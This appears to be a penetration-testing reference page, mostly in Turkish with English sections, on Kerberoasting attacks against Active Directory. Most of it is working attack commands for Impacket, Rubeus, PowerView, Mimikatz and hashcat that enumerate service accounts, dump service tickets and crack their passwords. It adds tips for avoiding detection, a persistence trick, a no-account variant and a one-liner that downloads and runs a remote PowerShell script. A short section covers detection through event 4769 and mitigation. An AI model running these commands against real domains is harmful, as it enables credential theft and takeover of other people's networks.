Kerberoast

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tip

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Kerberoast

Kerberoasting, Active Directory (AD) altında çalışan kullanıcı hesapları ile ilgili olan TGS biletlerinin edinilmesine odaklanır; bilgisayar hesapları hariçtir. Bu biletlerin şifrelemesi, kullanıcı şifreleri kaynaklı anahtarlar kullanır ve bu da çevrimdışı kimlik bilgisi kırma olasılığını sağlar. Bir hizmetin, boş olmayan bir "ServicePrincipalName" özelliği ile gösterildiği belirtilir.

Kerberoasting gerçekleştirmek için, TGS biletleri talep edebilen bir alan hesabı gereklidir; ancak bu süreç özel ayrıcalıklar talep etmez, bu da geçerli alan kimlik bilgilerine sahip herkesin erişimine açık olduğu anlamına gelir.

Ana Noktalar:

  • Kerberoasting, AD içindeki kullanıcı-hesap hizmetleri için TGS biletlerini hedef alır.
  • Kullanıcı şifrelerinden gelen anahtarlarla şifrelenmiş biletler çevrimdışı kırılabilir.
  • Bir hizmet, null olmayan bir ServicePrincipalName ile tanımlanır.
  • Özel ayrıcalıklar gerekmez, sadece geçerli alan kimlik bilgileri yeterlidir.

Saldırı

warning

Kerberoasting araçları, saldırıyı gerçekleştirirken ve TGS-REQ talepleri başlatırken genellikle RC4 şifrelemesi talep eder. Bunun nedeni, RC4'ün daha zayıf olması ve Hashcat gibi araçlar kullanılarak çevrimdışı kırılmasının diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan daha kolay olmasıdır.
RC4 (tip 23) hash'leri $krb5tgs$23$* ile başlarken, AES-256 (tip 18) $krb5tgs$18$* ile başlar.
Ayrıca, dikkatli olun çünkü Rubeus.exe kerberoast tüm savunmasız hesaplar üzerinden otomatik olarak bilet talep eder ve bu sizi tespit ettirir. Öncelikle ilginç ayrıcalıklara sahip kerberoastable kullanıcıları bulun ve ardından yalnızca onların üzerinde çalıştırın.

bash

#### **Linux**

Metasploit framework

msf> use auxiliary/gather/get_user_spns

Impacket

GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/ -outputfile hashes.kerberoast # Şifre istenecektir GetUserSPNs.py -request -dc-ip <DC_IP> -hashes : / -outputfile hashes.kerberoast

kerberoast: https://github.com/skelsec/kerberoast

kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -o kerberoastable # 1. Kerberoastable kullanıcıları listele kerberoast spnroast 'kerberos+password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Hash'leri dök


Multi-features tools including a dump of kerberoastable users:

ADenum: https://github.com/SecuProject/ADenum

adenum -d <DOMAIN.FULL> -ip <DC_IP> -u -p -c


#### Windows

- **Enumerate Kerberoastable users**

Kerberoastable kullanıcıları al

setspn.exe -Q / #Bu yerleşik bir ikili dosyadır. Kullanıcı hesaplarına odaklanın Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats


- **Technique 1: Ask for TGS and dump it from memory**

#Tek bir kullanıcıdan bellekte TGS alın Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Örnek: MSSQLSvc/mgmt.domain.local

#Tüm kerberoastable hesaplar için TGS'leri al (PC'ler dahil, pek akıllıca değil) setspn.exe -T DOMAIN_NAME.LOCAL -Q / | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#Bellekteki kerberos biletlerini listele klist

Bellekten çıkar

Invoke-Mimikatz -Command '"kerberos::list /export"' #Biletleri mevcut klasöre dışa aktar

kirbi biletini john'a dönüştür

python2.7 kirbi2john.py sqldev.kirbi

john'u hashcat'e dönüştür

sed 's/$krb5tgs$(.):(.)/$krb5tgs$23$*\1*$\2/' crack_file > sqldev_tgs_hashcat


- **Technique 2: Automatic tools**

Powerview: Bir kullanıcının Kerberoast hash'ini al

Request-SPNTicket -SPN "" -Format Hashcat #PowerView Kullanımı Ör: MSSQLSvc/mgmt.domain.local

Powerview: Tüm Kerberoast hash'lerini al

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

Rubeus

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Belirli kullanıcı .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Yönetici al

Invoke-Kerberoast

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast


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When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.

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### Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi


### Persistence

If you have **enough permissions** over a user you can **make it kerberoastable**:

Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose


You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)

If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:

- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`

### Mitigation

Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:

- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$.Message.split("n")[8] -ne 'krbtgt' -and $_.Message.split("n")[8] -ne '*$' -and $.Message.split("n")[3] -notlike '*$@*' -and $_.Message.split("n")[18] -like '0x0' -and $_.Message.split("`n")[17] -like "0x17"} | select ExpandProperty message


To mitigate the risk of Kerberoasting:

- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.

By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.

## Kerberoast w/o domain account

In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).

The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).

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You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

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#### Linux

- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/


#### Windows

- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"